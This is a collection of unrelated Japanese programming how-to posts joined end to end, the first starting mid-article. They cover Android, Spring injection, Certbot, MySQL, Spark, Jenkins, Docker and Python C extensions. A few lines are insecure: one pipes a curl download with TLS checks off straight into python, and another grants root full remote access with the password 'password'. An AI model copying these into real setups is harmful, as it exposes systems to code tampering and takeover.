<img width="1064" alt="adnroidselectver.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/1e6db2e6-fc66-c973-8d7a-ea7d0afc054d.png">

API23を選択すると次のような画面になっていると思います。

<img width="840" alt="スクリーンショット 2016-05-14 0.51.46.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/1525a52d-9d28-3298-e631-609865ca6678.png">

```java:MainActivity.java
package com.whispon.myapplication;

//サポートライブラリをインポートしています。.v7.app.AppCompatActivityというのはversion7の描画やレイアウトの設定がファイルのこと。これが変わればアプリのレイアウトも変わります。
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;

public class MainActivity extends AppCompatActivity {

    //onCreateの中にはアプリが起動されたときに呼び出すプログラムを書きます。（最初の一度だけ実行される。
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
}
```

じゃあアプリの見た目はどこで設定しているか

```
--app
  --manifest
  --java
  --res(リソースフォルダ)
    --drawable
    --layout
      activity_main.xml これがレイアウトファイル。
    --mipmap
    --values
```

##Androidのフォルダの構成
####--appアプリ全体のフォルダ
####--manifest アプリの決まり事を書いたファイルが有るよ
####--java javaのプログラムを置くところだよ。プログラミングするときはここを主にいじる！
####--res(リソースフォルダ)　layoutや画像ファイルなどを入れとくよ
####--drawable　画像をいれるフォルダだよ
####--layout　レイアウトファイルを入れていくよ。複数の画面ごとに作るよ
####--mipmap　画像のファルダ。bitmap画像入れたりしてアプリのアイコンの画像などを入れていおくところ。
####--values　文字の大きさやフォントなどの設定ファイルだよ

<img width="334" alt="foruda.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/809b896b-b3dc-ecdd-748d-ae9b1f7f1aa6.png">


<img width="1280" alt="activitynogazou.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/a7a1372e-4849-7ea4-1474-11df2dcd4f59.png">

<img width="895" alt="andXml.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/e50962eb-5493-0bb3-090c-e78c29b9444a.png">

```xml:activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.whispon.myapplication.MainActivity">

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello World!" />
</RelativeLayout>
```

<img width="924" alt="designAnd.png" src="https://qiita-image-store.s3.amazonaws.com/0/33329/cc78ad57-45d0-f896-5541-05c1857d5c60.png">

デザインボタンを押すとこうなります。

ここに左側にあるパーツをドラッグするとGUIでレイアウトすることができるよ！！
レイアウトが何故Javaのファイルではないかという疑問は、レイアウトをJavaで書くとプログラミングとデザインが一緒になってしまい可読性が損なわれるからです。

なのでDesignはxmlというシステムを使って簡単に記述して、それをJavaのプログラムで読み込む形なっております。

わからないことなどコメントしてください。
追加していきます。
@Autowired、@Inject、@Resourceの違いについての検証


`@Autowired`、`@Inject`、`@Resource`について、共通的な動きとしては、何れも自動でフィールドにbeanをインジェクションすることです。今回はそれらの違いについて、検証してみます。

- `@Resource`⇨`javax.annotation`
- `@Inject`⇨`javax.inject`
- `@Autowired`⇨`org.springframework.bean.factory`

#事前準備
以下のクラスを用意する。
・インタフェースクラス`Print`
・インタフェースクラス`Print`の実装クラス`HelloWorldPrintImp`
・インタフェースクラス`Print`の実装クラス`HelloMoonPrintImp`

```java
public interface Print {
	public void print();
}

```

```java
@Component
public class HelloWorldPrintImp implements Print {

	@Override
	public void print() {
		System.out.println("Hello World");
	}
}
```

```java
@Component
public class HelloMoonPrintImp implements Print {

	@Override
	public void print() {
		System.out.println("Hello Moon");
	}
}
```

#検証１

```java
@Autowired
private Print print;
```

```java
@Inject
private Print print;
```

```java
@Resource
private Print print;
```

上記のケースは、何れも例外`NoUniqueBeanDefinitionException`が発生した。
インタフェースクラス`Print`の実装クラスのbeanがユニックでないのが原因である。

#検証２

```java
@Autowired
private Print helloWorldPrintImp;
```

```java

@Inject
private Print helloWorldPrintImp;
```

```java
@Resource
private Print helloWorldPrintImp;
```

インジェクション対象のフィルド名を`@Component`のクラス名と一致すればに、検証１の例外を回避し、上記何れも正常にインジェクションできる。

**実行結果は以下の通りです。**
`@Autowired`：Hello World
`@Inject`：Hello World
`@Resource`：Hello World


#検証３

```java
@Autowired
@Qualifier("helloWorldPrintImp")
private Print print;
```

```java
@Inject
@Qualifier("helloWorldPrintImp")
private Print print;
```

```java
@Resource
@Qualifier("helloWorldPrintImp")
private Print print;
```

`@Qualifier("name")`を上記のアノテーションと併用することで、インジェクション対象bean名を指定でき、検証１の例外も同様に回避する。

**実行結果は以下の通りです。**
`@Autowired`：Hello World
`@Inject`：Hello World
`@Resource`：Hello World


#検証４

```java
@Autowired
@Qualifier("helloMoonPrintImp")
private Print helloWorldPrintImp;
```

```java
@Inject
@Qualifier("helloMoonPrintImp")
private Print helloWorldPrintImp;
```

```java
@Resource
@Qualifier("helloMoonPrintImp")
private Print helloWorldPrintImp;
```

フィルド名＝コンポーネントクラス名、且つ`@Qualifier`で別のコンポーネントを指定する場合、`@Autowired`と`@Inject`の動きは一緒であり、`@Qualifier`で指定するコンポーネントがインジェクションされている。
`@Resource`は`@Qualifier`で指定のコンポーネントを無視し、フィルド名と一致のコンポーネントがインジェクションされている。

**実行結果は以下の通りです。**
`@Autowired`：Hello Moon
`@Inject`：Hello Moon
`@Resource`：Hello World

また、`@Resource(name="name")`でコンポーネント名を指定できる。

```java
@Resource(name="helloMoonPrintImp")
private Print helloWorldPrintImp;
```
その場合に、nameで指定されるコンポーネントがインジェクションされる。

**実行結果は以下の通りです。**
`@Resource`：Hello Moon

#結論
タイプ一致の場合に、インジェクションの優先順位：
`@Autowired`と`@Inject`
１．Qualifier指定のコンポーネント
２．フィルド名と一致のコンポーネント

`@Resource`
１．`@Resource(name="name")`で指定のコンポーネント
２．フィルド名と一致のコンポーネント
３．Qualifier指定のコンポーネント
無料で使えるSSL証明書 Certbot (旧Let's Encrypt)


## 改名
* 2016年05月13日
	* クライアントソフトウェアの名称変更に伴う情報の更新を行いました。
		* 「Let's Encrypt クライアント」という名称を「Certbot クライアント」に変更しました。
		* letsencrypt-auto を certbot-auto に変更しました。
		* URLやディレクトリ名に含まれていた letsencrypt を certbot に変更しました。

だそうです。


## インストール
```
git clone https://github.com/certbot/certbot /usr/local/bin/certbot
```

```
/usr/local/bin/certbot/certbot-auto certonly -a standalone \
-d domain.jp \
-d your.domain.jp \
-d your-second.domain.jp \
.....
```


/etc/letsencrypt/live/の配下に、ドメインごとに証明書が作成される。
MySQLでよく使うSQLとかまとめ


## ユーザー確認
```
SELECT user,host,password FROM mysql.user;

SELECT user,host, authentication_string FROM mysql.user;
```

## GRANT文
```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'         IDENTIFIED BY 'password' WITH GRANT OPTION;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'password' WITH GRANT OPTION;
```

## 権限設定反映
```
FLUSH PRIVILEGES;
```

## データベース作成
```
DROP DATABASE IF EXISTS database_name;
CREATE DATABASE database_name DEFAULT CHARACTER SET UTF8;
```

## 設定内容確認

```
SHOW VARIABLES;

# 例えば、文字コード周りの設定を確認する場合
SHOW VARIABLES LIKE 'character_set%';
```

## パスワード設定

```console
$ /usr/bin/mysqladmin -u root password 'your_secure_password'
```
(書きかけ) Webで動くターミナル - butterfly

## python確認
```
python --version
```

```
yum -y install python-devel
```

## easy_install導入
```
curl -kL https://bootstrap.pypa.io/ez_setup.py | python
easy_install --version
```

## 依存ライブラリインストール
```
easy_install six
easy_install cryptography
```

## pip導入my
```
easy_install pip
pip --version
```
pip install で失敗した時

# pip install時に以下のようなエラーが出た時

```
 /usr/bin/ld: -lncurses が見つかりません
 collect2: error: ld returned 1 exit status
 error: command 'gcc' failed with exit status 1

```
以下のコマンドで解消しました。
```
sudo apt-get install libncurses5-dev
```
Spark 実行時の Snappy *.so リンクエラーの対処法

Apache Spark で "failed to map segment from shared object: Operation not permitted." または「共有オブジェクトのセグメントをマップするのに失敗しました: 許可されていない操作です」と出る場合の対処方法について (この記事の内容は Spark 1.5.2, 1.6.1 + Ubuntu 14.04 + Java 1.8.0_60 での動作に基づいています)。

原因は Spark で使用している [Snappy](http://google.github.io/snappy/) が Shard Object ファイルを `/tmp` にデプロイしダイナミックリンクを試みているため。`/tmp` という誰でも書き込めて (常識的には) 実行ファイルが置かれることのない場所の `*.so` ファイルへの動的リンクが実行環境のセキュリティに引っかかって失敗しています。セキュリティ上の脆弱性となるため多くの環境では制約が設けられていますよね。

JavaVM のケースでこの影響を受けるのは以下の 3 点ですのでシステムの構成を確認してください。システムのセキュリティポリシーが許すのであればこれらを無効化するなり許可するなりしておくのが楽です。

1. SELinux
2. Java Security Policy (`$JAVA_HOME/jre/lib/security.policy`)
3. /tmp `mount` 時に `noexec` オプションが指定されている

もしこれらが変更できないのであれば JavaVM のシステムプロパティを指定して `/tmp` ではなく別のディレクトリを使用するように指定します。具体的には以下のプロパティのどちらかに `*.so` ファイルをロード可能なディレクトリを指定してください。

1. `org.xerial.snappy.tempdir`
2. `java.io.tmpdir`

後者は Spark そのものが使用する一時ディレクトリにも影響を与えることに注意。可能であれば前者のシステムプロパティで回避してください。

Spark クラスタ環境 (spark://～) では Master/Worker 共にこのシステムプロパティを指定します。

```sh
# $SPARK_HOME/conf/spark-env.sh
SPARK_DAEMON_JAVA_OPTS=-Dorg.xerial.snappy.tempdir=/dir/to/permitted/tmp
```

`spark-shell` などのインタラクティブシェルでは最初に:

```scala
System.setProperty("org.xerial.snappy.tempdir", "/dir/to/permitted/tmp")
```
を実行することでも Snappy が使用するディレクトリを変更できます。

↓問題発生時のスタックトレース (ｇｇｒｋｓ用)。

```
ava.lang.IllegalArgumentException: java.lang.UnsatisfiedLinkError: /tmp/snappy-unknown-074c81a0-85d8-4040-a9cc-d14fd00e247f-libsnappyjava.so: /tmp/snappy-unknown-074c81a0-85d8-4040-a9cc-d14fd00e247f-libsnappyjava.so: 共有オブジェクトのセグメントをマップするのに失敗しました: 許可されていない操作です
        at org.apache.spark.io.SnappyCompressionCodec.<init>(CompressionCodec.scala:151)
...
Caused by: java.lang.UnsatisfiedLinkError: /tmp/snappy-unknown-074c81a0-85d8-4040-a9cc-d14fd00e247f-libsnappyjava.so: /tmp/snappy-unknown-074c81a0-85d8-4040-a9cc-d14fd00e247f-libsnappyjava.so: 共有オブジェクトのセグメントをマップするのに失敗しました: 許可 されていない操作です
        at java.lang.ClassLoader$NativeLibrary.load(Native Method)

```

同じ状況で[Cassandra でも同じ問題が](http://docs.datastax.com/ja/cassandra-jajp/3.0/cassandra/troubleshooting/trblshootSnappy.html)発生するらしい。
複数JVMでのClass classのhashCodeについて

# 問題
複数のコンポーネントを持つある分散システムを作っていた時に見つけたこと。
このシステムの各コンポーネントは別々のJVMで動いているが、ある複数のクラスのオブジェクトをserialize, deserializeして共有している。例えばクラスA、クラスB、クラスCがあった時にそれぞれのインスタンスa,b,cをserialize, deserializeするためのserializer, deserializerは下記のようにClassクラスのhashCodeを使って管理していた。簡潔に書くと下記のマップのような管理をしていた。

```java
A.class.hashCode() -> <Serializer for A>
B.class.hashCode() -> <Serializer for B>
C.class.hashCode() -> <Serializer for C>
```

ところがこのシステムのコンポーネントを部分的に、あるいは全部を再起動するとこのserializer, deserializerが見つからないというエラーが出た。

# 原因

原因としては自分の想定に間違いがあった。この時に自分はClass自体のhashCodeはどんなときでも変わらないだろうという想定が根拠なくあった。オブジェクトのhashCodeはそのオブジェクトのメンバの値で決められるケースが多いし（もちろんhashCodeの実装による）、この場合クラスAらの実装は何も変更してないからだ。

ところが実際にはクラスA,B,C自体のhashCodeはJVM毎に異なる（可能性もあった）し、同じになるという保証はない。下記のようなコードを動かしてみると確かにクラスAのhashCodeはいつも同じではなかった。

```java
class HashCodeTest {
  public static class A {}
  public static class B {}
  public static class C {}

  public static void printHashCode(Class clazz) {
    System.out.println(clazz + "-> " + clazz.hashCode());
  }

  public static void main(String[] args) {
    printHashCode(HashCodeTest.class);
    printHashCode(A.class);
    printHashCode(B.class);
    printHashCode(C.class);
  }
}
```

```bash
$ java HashCodeTest
class HashCodeTest-> 1829164700
class HashCodeTest$A-> 2018699554
class HashCodeTest$B-> 1311053135
class HashCodeTest$C-> 118352462
```

順番を変えてみる。

```java
  public static void main(String[] args) {
    printHashCode(A.class);
    printHashCode(HashCodeTest.class);
    printHashCode(C.class);
    printHashCode(B.class);
  }

```

```bash
$ java HashCodeTest
class HashCodeTest$A-> 2018699554
class HashCodeTest-> 1829164700
class HashCodeTest$C-> 1311053135
class HashCodeTest$B-> 118352462
```

BとCが入れ替わっている。同じクラスでも常に同じhashCodeにはならないようだ。AとHashCodeTestクラスのhashCodeは変わってない。この他に何度か実験してみてロードされるクラスの順番が関係してそうな感じがしたけれど、確かなことはいえない。

でも確かに言えることは異なるJVM上ではたとえ同じクラスでもhashCodeが同じであることは保証されてないということだ。このことはJavaのAPI Referenceを見てもそんなようなことがきちんと書いてあった。

[Object#hashCode](https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#hashCode--)

> Whenever it is invoked on the same object more than once **during an execution of a Java application,** the hashCode method must consistently return the same integer, provided no information used in equals comparisons on the object is modified. This integer need not remain consistent from one execution of an application to another execution of the same application.

hashCodeのcontractとしてはひとつのJava application起動中でhashCodeが同じになることを保証しているようで、すべての時間と空間を超えたJava application間でのhashCodeに関しては特に言及していなかった。

というわけでJVMまたいだらhashCodeが同じになるとは考えない方がよさそう。いい勉強になった。Class class(Object class?)のhashCodeの実装も見てみたい。
jenkinsでcomposer.jsonとかpackage.jsonとかアップデートされた時だけコマンド実行

# はじめに
jenkinsでPHPとgulpを使ってAngular.jsのビルドしてます。

ビルド時に毎回``composer.phar update``したり、``npm install``するのもスマートじゃないので、``composer.json``とか``package.json``など、対象のファイルに変更があった時だけ処理が走るようにします。

シェルスクリプトでのお話です。

# 前提
* jenkinsが使える
* jenkinsのビルド時にシェルスクリプトを実行している

# やり方

## まずは特定のファイルの直近の変更有無を確認

とりあえずこの方式で色んなパターン使いまわせます

```vim
git diff HEAD^ HEAD --stat -- ファイル名
```
例：リポジトリ直下のcomposer.jsonに変更があるか確認する場合

```vim
git diff HEAD^ HEAD --stat -- composer.json
```

変更があればこんな感じで表示されます。

```vim
composer.json | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
```

変更が無ければ何も表示されません

## composer.jsonに変更があった時だけcomposerをupdate

```vim
# composer.jsonの変更を確認
json_change=`git diff HEAD^ HEAD --stat -- composer.json`

# composer.jsonに変更がある
if [ -n "$json_change" ]; then
   echo "composerに変更がありました"
   # composerのアップデート実施
   php composer.phar update
fi
```

## package.jsonに変更があった時だけnpm install

```vim
# package.jsonの変更を確認
package_json_change=`git diff HEAD^ HEAD --stat -- package.json`

# package.jsonに変更がある
if [ -n "$package_json_change" ]; then
   echo "package.jsonに変更がありました"
   # npm install
   npm install
fi

```

# おわりに
こんな感じでこの他にも``bower.json``の変更を検知して``bower install``したりしてます。
このOS X ○○ インストールアプリケーションを検証できません。ダウンロード中に破損したか不正に変更された可能性があります。と言われた

# 概要

会社で上司に「この Mac に新しく領域を割り当てて OS をインストールして欲しい。
落としたデータは別パーティションにあるからクリックするだけでインストールできるよ。」と言われたのでその通りにディスクユーティリティからパーティションを切ってOSファイルをクリックしてみると以下の様なエラーが出てインストールできませんでした。

> このOS X El Capitan インストールアプリケーションを検証できません。ダウンロード中に破損したか不正に変更された可能性があります。

# 原因

Appleの中間証明書の有効期限切れに伴い、2016年2月14日以前に作成したOS Xのインストールディスクが利用できない状態になっているそうです。
参照：[AAPL Ch.][1]


# 解決方法

~~**解決策は公式から新しくOSのイメージファイルを落としてくる。**~~
新しく落とし直してもエラーは出るようです(頂いたコメントにより修正しました)

で終わらせたかったんですが、何故か現在で立ち上げている Mac OSの空き容量が全く無かったためOSのイメージファイルをダウンロードする事が出来ませんでした。

なのでタイムスタンプを 2016/02/14 以前に戻す事で無事インストールする事が出来ました。

> If you are in the middle of an OS X install and get tripped up by the expired certificate, Randy Singer offers a suggestion on how you can work around the problem quickly, without having to download a new installer:
> 1.In the OS X Installer, choose Utilities > Terminal.
> 2.Enter date 0201010116 and press Return.
> 3.Quit Terminal and continue the install
> 
> [Previously Downloaded OS X Installers No Longer Work][2]

permission に関するエラーが出た場合は`sudo date 0201010116 ` と打ったらうまく行きました。
ちなみに date は 数値を2桁ずつ「月、日、時、分、年」の順番みたいです。

よく考えたら現在時刻を変更すれば良いのだから date コマンドなぞ使わなくても
システム環境設定の日付と時刻から変更しても上手く行くんじゃないかな？
こっちは試してないけど。

# 注意点

現在時刻をそのまま放置しておくと今度は [App Store にアクセス出来なくなる][3]のでちゃんと戻しておこう。



[1]: http://applech2.com/archives/47995014.html
[2]: http://tidbits.com/article/16302
[3]: https://support.apple.com/ja-jp/HT203811
Slackを日本語化したい

# Slackを日本語化したい

Slackユーザのみなさんこんにちは。
皆様におかれましては、Slackの便利さに心奪われ日々使いこなしていることとお慶び申し上げます。

そんなSlackですが、社内ツールとしても採用してもらおうとすると、非日本語対応が一つのネックになってくることがあるかと思います。
そんなことが障壁となるイケてない会社に勤める我々だって、Slackで勤怠管理したいし、チャットからJenkinsのJOB叩きたいし、PRあったらチャットへ通知してほしいんです。
もう、GitBucketのWebhookからJenkinsに流してChatoworkに通知するなんてうんざりなんですよ!

## 日本語化、しましょう
ということで日本語化ですよ。
そのうちSlack公式が対応するかもしれませんが、それまでの代替手段ということでひとまずブラウザの拡張機能として提供できればと考えています。

で、Firefoxで少し進めてみました。(まだAddonとして登録はしていません)
https://github.com/tomoki1207/japanizer-slack

で、思ったのですが、一人で進めるのほんと~~めんど~~大変なので、皆さんで開発(翻訳)しませんか?
翻訳なんてやりたくねーよ!という方はソーシャルコーディング(+github)の練習として、
今さらそんな練習なんて必要ねーよ!という方はAddon開発の練習として、
どっちも必要ねーよ!という方はコードレビューしてください!!
(私は両方の練習を兼ねています)

注意点ですが、READMEにあるように[japanizer-for-trello](https://github.com/iso2022jp/japanizer-for-trello)をもとに(コピペ)作っているので、
こちらの作者の方から申し出があった場合、Addon公開後でもすぐに公開を停止します。(あるいはすでにライセンス違反に抵触している場合)

ぜひともご協力お願いします。
Travis CIで「failed to find Build Tools revision 23.0.3」って言われた時の対処法

# 現象

Travis CIでSdkVersionやBuild Toolなどをアップした時に「failed to find Build Tools revision 23.0.3」というようなメッセージでビルドでこける時がある。

その時のgradleは以下です。

```build.gradle
apply plugin: 'com.android.application'

android {
    compileSdkVersion 23
    buildToolsVersion "23.0.3"

    defaultConfig {
        applicationId "example.com.myapplication"
        minSdkVersion 19
        targetSdkVersion 23
        versionCode 1
        versionName "1.0"
    }

    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        }
    }
}

dependencies {
    compile fileTree(dir: 'libs', include: ['*.jar'])
    testCompile 'junit:junit:4.12'
    compile 'com.android.support:appcompat-v7:23.3.0'
}
```

# 対処法

.travis.ymlを修正する。

```
language: android
android:
  components:
    - build-tools-23.0.3 // ここも忘れずに修正
    - android-23 // ここも忘れずに修正
    - platform-tools
    - extra
branches:
  only:
    - master
	：
	省略
	：
before_install:
  - android-update-sdk --accept-licenses='android-sdk-license-.+' --components=tools　// ←これ
  - android-update-sdk --accept-licenses='android-sdk-license-.+' --components=build-tools-23.0.3　// ←これ
	：
	省略
	：

```
Capistrano で namespace のデフォルト task を設定する

そういう機能はなさそうだが、愚直に書けばよさそう。

## やりたいこと

`Capfile` に以下のような `namespace` を定義したとしよう。

```rb
namespace :foo do
  task :aaa do
  end
  task :bbb do
  end
end
```

`cap foo` と打ったら `foo:aaa` を実行してほしい。

## やり方

いずれも実際に `task :foo` を定義する。

### 1. Rake の alias 機能を使う

```rb
task :foo => 'foo:aaa'
```

### 2. invoke を使う

```rb
task :foo do
  invoke 'foo:aaa'
end
```

`task :foo` の中で複数の task を実行したいような場合は、この書き方になるだろう。

[capistrano の lib/capistrano/tasks/framework.rake](https://github.com/capistrano/capistrano/blob/848301718570b168ef491974e3ba5b5055d63648/lib/capistrano/tasks/framework.rake) を覗いてみたところ、`task :deploy` はそのような書き方になっていた。

## 参考

- [capistrano3 - How to run a default task in Capistrano 3? - Stack Overflow](http://stackoverflow.com/questions/23318333/how-to-run-a-default-task-in-capistrano-3)
- [ruby - Alias of task name in Rake - Stack Overflow](http://stackoverflow.com/questions/7656541/alias-of-task-name-in-rake)
Dockerコンテナ内に入らずにMySQL公式コンテナの中にSQL等を実行するメモ

MacからMySQLコンテナ内にコマンドを実行したかったり、SQLを実行したい時などに使うコマンドをメモっておきます



## MySQLコンテナ起動

```
docker run --name container_mysql -e MYSQL_ROOT_PASSWORD=password -d -p 3306:3306 mysql
```

## MySQLコンテナ接続

```
docker exec -it container_mysql bash
```

## Macから直接コンテナ内のMySQLに接続する

```
docker exec -it container_mysql mysql -u user -p
```

## MacからコンテナのMySQLにローカルのMySQLコマンドで接続する

```
mysql -h$(docker-machine ip iti-dev) -P 3306 -u root -p
```

## Macから直接指定したDBにクエリを発行する

```
docker exec -it container_mysql mysql -u user -p database_name -e"create table kkk (id int);"
```

## Macから直接SQLファイルを実行する

```
docker exec -it container_mysql mysql -u user -p database_name -e"$(cat xxx.sql)"

// またはこちら ※passwordが履歴に残ってしまうけど
cat jjj.sql | docker exec -i container_mysql mysql -u root -ppassword database_name
```
ChromeでデスクトップアプリっぽくWebページを表示する（Mac）

Chromeをアプリケーションモードで実行すると、タブ、ブックマークバー、アドレスバー等が表示されなくなる。

常時開いてるようなWebページをデスクトップアプリっぽく表示しておくのに便利。

twitter.comを開くコマンド:

```
open -n -a "Google Chrome" --args --app="https://twitter.com/"
```

アプリケーションモードで実行中に、別タブが開くようなページ内リンクをクリックすると、別Chromeプロセスでリンクが開かれる。

Automatorで上記のコマンドを登録したアプリケーションを作っておくとランチャーから実行でき、よりデスクトップアプリっぽくなる。
PythonのC/C++拡張パターン - ポインタ


C/C++側のポインタを Python で持っておく方法。

なにか、C++のクラスをPythonから使いたいとする。

```cpp
class Hello {
 public:
  void hello();
};
```

## PyCapsule_New

C/C++のポインタを `PyObject*` として返すには `PyCapsule_New` を使う。

```cpp
static void py_hello_free(PyObject *obj);

static PyObject* py_hello_alloc(PyObject *self, PyObject *args)
{
  // Allocate a new C++ pointer h as a Python object "_Hello"
  Hello* const h= new Hello();
  
  return PyCapsule_New(h, "_Hello", py_hello_free);
}
```

ポインタを解放する関数を渡しておくと、Python側で解放してくれる。メモリはC/C++側で管理して解放の必要がない場合は py_hello_free のかわりに NULL を渡しておけばよい。

```cpp
void py_hello_free(PyObject *obj)
{
  // Destructor function for _Hello pointer, called automatically from Python
  Hello* const h= (Hello*) PyCapsule_GetPointer(obj, "_Hello");
    
  delete h;
}
```

## PyCapsule_GetPointer

C/C++ のポインタに戻すには `PyCapsule_GetPointer`：

```cpp
PyObject* py_hello(PyObject *self, PyObject *args)
{
  // Use _Hello pointer from Python
  PyObject* py_obj;
  
  if(!PyArg_ParseTuple(args, "O", &py_obj))
    return NULL;

  Hello* h= (Hello*) PyCapsule_GetPointer(py_obj, "_Hello");
  if(h == 0) return NULL;

  h->hello();

  Py_RETURN_NONE;
}
```

## C/C++ の拡張を作るいつものコード

```cpp
#include <cstdio>
#include "Python.h"

// ... 上のコード ...

static PyMethodDef methods[] = {
  {"hello_alloc", py_hello_alloc, METH_VARARGS, "allocate a Hello object"},
  {"hello",       py_hello,       METH_VARARGS, "call hello() method"},
  {NULL, NULL, 0, NULL}
};

static struct PyModuleDef module = {
  PyModuleDef_HEAD_INIT,
  "cext02",              // name of this module
  "Use C/C++ pointer",  // Doc String
  -1,
  methods
};

PyMODINIT_FUNC
PyInit_cext02(void) {  
  return PyModule_Create(&module);
}
```

いつもの `setup.py`

```python
from distutils.core import setup, Extension

setup(name='cext02',
      version='0.0.1',
      description='c_ext02 pointer',
      author='Jun Koda',
      url='https://github.com/junkoda/python_c_ext',
      ext_modules=[
          Extension('cext02', ['cext02.cpp'])
      ]
)
```

コンパイル

```bash
$ python3 setup.py build_ext --inplace
```

## Python から

```python
import cext02  # Cによる拡張
h = cext02.hello_alloc() # h = new Hello() みたいなこと
cext02.hello(h) # h->hello() を呼ぶ
```

のように使う。（もちろん、Python の class でラッピングすれば、オブジェクトっぽく使える。）

## 参考

- Cの拡張をはじめるにあたって、まずは Python Cookbook を読むといいと思う。
[Python Cookbook 3rd Edition (O'Reilly)](http://shop.oreilly.com/product/0636920027072.do)

- Code: https://github.com/junkoda/python_c_ext/tree/master/02_pointer